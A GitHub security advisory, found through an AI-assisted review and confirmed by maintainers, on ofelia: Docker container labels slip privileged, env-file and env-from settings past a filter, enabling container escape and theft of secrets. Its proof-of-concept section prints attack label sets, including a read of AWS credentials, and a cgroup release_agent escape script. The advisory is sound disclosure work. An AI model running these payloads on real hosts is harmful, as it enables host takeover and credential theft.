Skip to content

job-exec jobs from container labels bypass the host-escalation filter → privileged exec / container escape

High
CybotTM published GHSA-h7m7-v83x-vfp3 Aug 12, 2026

Package

gomod github.com/netresearch/ofelia (Go)

Affected versions

<= 0.29.0

Patched versions

0.29.1

Description

Privilege-bearing fields honored from container labels bypass the host-escalation filter → privileged exec, host-file read, cross-container secret theft

How this was found

Found during an AI-assisted security review of the repository. The analysis was performed by Claude (Anthropic's Claude Code) driven interactively by the reporter; findings were then manually verified against the source.

Method:

  • Static source analysis only — no live exploitation, no fuzzing, no dynamic instrumentation. The repo was reviewed at main @ 633f695.
  • The attack surface was decomposed and reviewed in parallel across four areas: web server + auth, job execution + Docker socket, config/label parsing + remote presets, and web UI + webhooks.
  • These findings came from tracing the untrusted-label data flow end to end: Docker container labels → job decoding in cli/docker-labels.gocore/execjob.go / core/runjob.go / core/runservice.go → the Docker exec/run adapters.

What surfaced it:

  • The guard filterJobsWithHostEscalation (added in #462 to strip host-escalation vectors from label-defined jobs) is wired only to job-run / job-service-run at cli/docker-labels.go:146-147job-exec is never passed through it — and even for the two job types it does cover, it strips only volume / volumes-from, not privileged / env-file / env-from.
  • privileged is a recognized job-exec config key (asserted by the project's own test cli/config_decode_servicerun_test.go:54) and flows unmodified into docker exec --privileged (core/execjob.go:33:112core/adapters/docker/exec.go:82).
  • env-file / env-from are accepted label keys (cli/docker-labels.go:612) present on job-run, job-service-run, and job-exec, and are honored regardless of source.
  • The gaps were independently reached by two separate analysis passes (the job-execution review and the config/label review), then confirmed by directly reading the filter's call sites and the field flows.

Verification status:

  • Code paths and line references were confirmed by reading the current source.
  • The proofs-of-concept below are constructed from source analysis and have not been executed against a live Docker host — they are presented as logically-derived exploits, not observed ones. Reproduction on a test daemon is recommended to confirm before disclosure.

Severity

High–Critical, precondition-gated. All three vectors share one precondition: Ofelia running in Docker-label mode on a daemon that hosts untrusted, self-labeling containers. That is it — a local attacker needs only label control on their own container, no Ofelia credentials, no host mount, no operator misconfiguration.

Critically, this precondition does not include the operator having enabled allow-host-jobs-from-labels. That flag gates only the wholesale drop of job-local/job-compose and the volume/volumes-from filter for job-run/job-service-run (cli/docker-labels.go:121). job-exec is decoded outside that block entirely, and the flag never touches privileged/env-file/env-from for any job type. All three vectors therefore fire in the default, secure-looking configuration (flag off) — the secure-by-default posture that stops host mounts does nothing here.

  • privileged exec → container escape is the most severe. It is not an unconditional 9.9: it also requires a container/kernel config on which a privileged exec can complete a known escape (see Impact). On a typical multi-tenant daemon that holds, putting it in the high-8s / low-9s CVSS range rather than a turnkey 9.9.
  • env-file (file read within Ofelia's filesystem view) and env-from (cross-container secret theft) are High: reliable information disclosure across the container boundary with no additional kernel precondition. env-file reads Ofelia's own mount namespace, not the literal host root — its blast radius equals the full host filesystem only when Ofelia runs bare-metal or with / (or sensitive host paths) bind-mounted; in the canonical containerized deployment it is bounded to Ofelia's mounts and injected config.

Summary

Ofelia builds jobs from Docker container labels on scanned containers. The filterJobsWithHostEscalation guard that strips privilege-escalation vectors from label-defined jobs (a) is applied only to job-run and job-service-run, never to job-exec, and (b) strips only host bind-mounts (volume) and volumes-from — it does not touch privileged, env-file, or env-from. As a result a container can, purely by setting labels on itself:

  1. run a privileged docker exec (privileged=true on job-exec) → root on the Docker host;
  2. read any file in Ofelia's filesystem view into a container it controls (env-file=/path);
  3. steal another container's entire environment (env-from=["victim"]).

Impact

1. privileged=true on job-exec → container escape

docker exec --privileged grants the exec'd process all Linux capabilities (including CAP_SYS_ADMIN) and unconfines seccomp/AppArmor, even when the target container was started unprivileged. It does not change the container's namespaces or add --pid=host — the exec process stays in the container's own PID/mount/network namespaces. What the granted capabilities enable is the standard set of privileged-container escape techniques:

  • cgroup release_agent abuse (mount a cgroupfs hierarchy, write release_agent, trigger host-side command execution);
  • mknod the host block device + mount + chroot into the host filesystem;
  • write /proc/sys/kernel/core_pattern when /proc is writable.

Escape availability therefore depends on the container's device cgroup, /proc mount options, and kernel — it is available, not automatic. On typical multi-tenant container configs at least one of these techniques succeeds, giving root on the Docker host. This bypasses the exact threat model that allow-host-jobs-from-labels and filterJobsWithHostEscalation were built to defend (see #462).

Note: RunJob / RunServiceJob do not expose a Privileged field, so this escape is job-exec-specific; the container-spawn job types cannot request --privileged from labels.

2. env-file=<path> → file disclosure within Ofelia's filesystem view

env-file is honored on job-run, job-service-run, and job-exec. ParseEnvFile (core/envfile.go:29-30, os.Open(path) with #nosec G304) opens the path in Ofelia's own mount namespace and turns each KEY=VALUE line into an environment variable injected into the job's container/exec — which for a label-defined job-exec is the attacker's own container.

Scope note: because os.Open resolves inside Ofelia's process, the reachable filesystem is Ofelia's view, not the literal host root. In the canonical deployment (Ofelia itself a container with docker.sock mounted), env-file=/root/.aws/credentials reads that path inside the Ofelia container — so the vector exfiltrates any secret visible to Ofelia: its bind-mounts, its injected config/INI, mounted credential files, docker.sock-adjacent material. It reaches the full host filesystem only when Ofelia runs bare-metal or with / (or the targeted host paths) bind-mounted. Either way it is a real boundary crossing: an attacker container reads files it otherwise has no access to. Impact is bounded by the KEY=VALUE line parser (lines without = are dropped), so structured secret files leak cleanly while e.g. /etc/shadow mostly does not.

3. env-from=["victim"] → cross-container secret theft

ResolveEnvFrom (core/envfile.go:88-102) inspects any container by name and returns its entire Config.Env. A malicious labeled container sets ofelia.job-run.x.env-from=["victim-container"], and the victim's environment (DB passwords, API tokens, cloud credentials) is injected into the attacker-controlled spawned container. Cross-tenant secret disclosure with no host access required.

Root cause

The escalation filter is wired to only two job types — cli/docker-labels.go:146-147:

runJobs     = filterJobsWithHostEscalation(runJobs, "job-run", c.logger)
serviceJobs = filterJobsWithHostEscalation(serviceJobs, "job-service-run", c.logger)

job-exec jobs are decoded and never filtered at all. And filterJobsWithHostEscalation itself inspects only job["volume"] and job["volumes-from"] (cli/docker-labels.go:713), so privileged / env-file / env-from pass through even on the two job types it does process.

privileged is a recognized job-exec config key (cli/config_decode_servicerun_test.go:54) and flows unmodified to the daemon:

  • core/execjob.go:33Privileged bool field, settable from labels
  • core/execjob.go:112 — copied into domain.ExecConfig.Privileged
  • core/adapters/docker/exec.go:82 — set on ExecCreateOptions.Privilegeddocker exec --privileged

The label string privileged=true reaches the Privileged bool field via mapstructure's weakly-typed decode (weakDecodeConsistent, cli/config_decode.go:63 with WeaklyTypedInput: true), which coerces the "true" string to boolean true — no explicit privileged handling or allow-list gate sits between the label and the field.

env-file / env-from are accepted at cli/docker-labels.go:612 and consumed via ResolveJobEnvironment on every job type (core/execjob.go:97, core/runjob.go:312, core/runservice.go:149), with no source-aware gating.

Proof of concept

Privileged exec → host escape

On a host where Ofelia scans containers, an unprivileged attacker sets these labels on their own container:

ofelia.enabled=true
ofelia.job-exec.x.schedule=@every 1s
ofelia.job-exec.x.command=/bin/sh -c "<escape-payload>"
ofelia.job-exec.x.privileged=true

Ofelia creates a privileged exec into the attacker's container on the next tick. <escape-payload> must use the granted capabilities — not nsenter --target 1, which enters the container's own init (PID 1 in the container PID namespace), not the host's. A working payload uses one of the escape techniques listed under Impact, e.g. the cgroup release_agent trick:

mkdir -p /tmp/c && mount -t cgroup -o rdma cgroup /tmp/c
mkdir -p /tmp/c/x && echo 1 > /tmp/c/x/notify_on_release
host=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo "$host/cmd" > /tmp/c/release_agent
printf '#!/bin/sh\nid > %s/out\n' "$host" > /cmd && chmod +x /cmd
sh -c "echo 0 > /tmp/c/x/cgroup.procs"

Whether this exact technique fires depends on the container's /proc, device cgroup, and kernel — swap in mknod-the-host-disk or core_pattern if the cgroup path is unavailable. The point stands: privileged=true from a label is what makes any of them reachable.

Host-file read / cross-container secret theft (no kernel precondition)

ofelia.enabled=true
ofelia.job-exec.leak.schedule=@every 1s
ofelia.job-exec.leak.command=env
ofelia.job-exec.leak.env-file=/root/.aws/credentials    # any file in Ofelia's filesystem view (its mounts/config)
# or, to steal a sibling container's environment:
ofelia.job-run.leak2.env-from=["victim-container"]
ofelia.job-run.leak2.command=env

Ofelia reads the host file / victim environment and injects it into the attacker-controlled container; the env command prints it into the job's captured output.

Affected

  • Package: github.com/netresearch/ofelia (Go)
  • Component: cli/docker-labels.go, core/execjob.go, core/runjob.go, core/runservice.go, core/envfile.go
  • Affected versions: <= 0.29.0 (latest release, 2026-08-03) and current unreleased main (confirmed on main @ 633f695, 2026-08-04). No patched version at time of report.
  • Per-vector introduction:
    • privileged-exec (vector 1): since 0.21.3 (2026-03-15) — job-exec has never been routed through any host-escalation filter.
    • env-file / env-from (vectors 2 and 3): since 0.23.0 (2026-03-22), when env-file/env-from support was added for all job types.
  • Precondition: Ofelia running in Docker-label mode against a daemon that hosts untrusted, self-labeling containers. Independent of allow-host-jobs-from-labels — the vectors fire with that flag in its default (off) state.

Suggested fix

Treat privileged, env-file, and env-from on label-sourced jobs as host-escalation vectors, exactly like host mounts:

  1. Cover job-exec. It skips filterJobsWithHostEscalation entirely today. Route it (and any other unfiltered job type) through source-aware filtering.
  2. Strip the keys, don't drop the job. For a label-sourced job, remove privileged, env-file, and env-from from the decoded map (leaving the job to run unprivileged / without host env) rather than discarding the whole definition.
  3. Extend the filter's key set. filterJobsWithHostEscalation currently inspects only volume / volumes-from. Add privileged (exec), env-file, and env-from so the two job types it already processes are also covered — env-file / env-from leak on job-run / job-service-run today despite those jobs passing through the filter.
  4. Gate on the existing policy. Strip these keys from any label-sourced job unless [global] allow-host-jobs-from-labels=true is explicitly set, logging the same SECURITY POLICY VIOLATION line already used for host mounts.
  5. Optionally, INI-only. Restricting privileged (and env-file / env-from) to INI config never honored from labels is stronger, but makes them ignore allow-host-jobs-from-labels; the gated approach in (4) is more consistent with the rest of the filter.

References

  • Existing guard: filterJobsWithHostEscalation (cli/docker-labels.go:713)
  • Related hardening: #462
  • Field flows: core/execjob.go:30-33,97,112; core/runjob.go:54-55,312; core/runservice.go:47-48,149; core/envfile.go:29-30,88-102

Maintainer verification and remediation (2026-08-12)

Confirmed against main @ 633f695 by re-reading the cited source and by an independent multi-agent source review; every claim in this report holds. Two points to add:

  • Both label-ingestion entry points are affected, not just the initial load. Job maps are built by buildFromDockerContainers (cli/docker-labels.go), which is called from the initial daemon load (cli/config.gomergeJobsFromDockerContainers) and from the live container-reconcile loop (cli/config.gosyncJobMap(c, c.ExecJobs, parsedLabelConfig.ExecJobs, …)). Neither path stripped privileged / env-file / env-from, so the bypass fires on the first sync and on every subsequent reconcile as containers come and go.
  • job-exec is decoded unconditionally. The if !AllowHostJobsFromLabels block only zeroes job-local / job-compose and volume-filters job-run / job-service-run; execJobs is decoded afterwards regardless of the flag, and job-exec is explicitly permitted on the attacker's own non-service running container (checkJobTypeAllowedOnServiceContainer). core.ExecJob has no volume field, so privileged / env-file / env-from are its only escalation vectors — covering those three closes job-exec completely.

Remediation. A source-aware strip of privileged / env-file / env-from from every label-sourced job map, matched by normalized key (so casing/separator variants such as Privileged or ENV_FILE are caught, since the decoder matches fields the same way), gated on allow-host-jobs-from-labels, and logged as SECURITY POLICY VIOLATION. It is applied inside buildFromDockerContainers, so both entry points are covered in one place, and the INI configuration path (trusted) is untouched. Keys are stripped in place — the job still runs, unprivileged and without host / cross-container environment injection — rather than dropping the whole job. Reproducing tests assert each vector is neutralised with the flag off and honored with it on.

CVSS:3.1 AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H (7.8, High) scores the worst path — the config-gated privileged-exec container escape; AC:H reflects that the escape itself depends on the target container's cgroup / /proc / kernel configuration (available, not automatic), as the report notes. The env-file / env-from disclosure vectors are AC:L but lower impact (C:H/I:N/A:N).

Scope of this advisory

This is a gap in a defense-in-depth control for the Docker-container-label vector, not a break of ofelia's primary trust boundary. Per the project's ADR-002 (Accepted), that boundary is who may set ofelia's configuration and container labels — anyone who can define a job already has docker run / docker exec equivalence, and container privileges, host mounts and network isolation are explicitly delegated to the deployment infrastructure. ofelia does not claim multi-tenant isolation for untrusted, self-labeling containers; the documented pattern for that is a separate ofelia instance per tenant. The allow-host-jobs-from-labels filter narrows the specific label→host / label→cross-container path, and this advisory closes the gaps in that filter (job-exec was unfiltered; privileged/env-file/env-from were honored on every job type). It does not extend ofelia's guarantees beyond that filter — notably, label-defined network attachment (network=) is by design left to the infrastructure and is not affected by this fix.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

Exposure of Resource to Wrong Sphere

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. Learn more on MITRE.

Credits